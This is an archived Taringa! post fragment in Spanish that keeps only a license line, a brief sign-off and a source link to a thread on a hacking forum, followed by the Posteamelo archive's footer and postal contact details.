Creative Commons. Para leer las restricciones de su uso o copia presiona el boton de la licencia Espero q les guste Fuente: http://foro.portalhacker.net/index.php/topic,45625.0.html

0
0
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.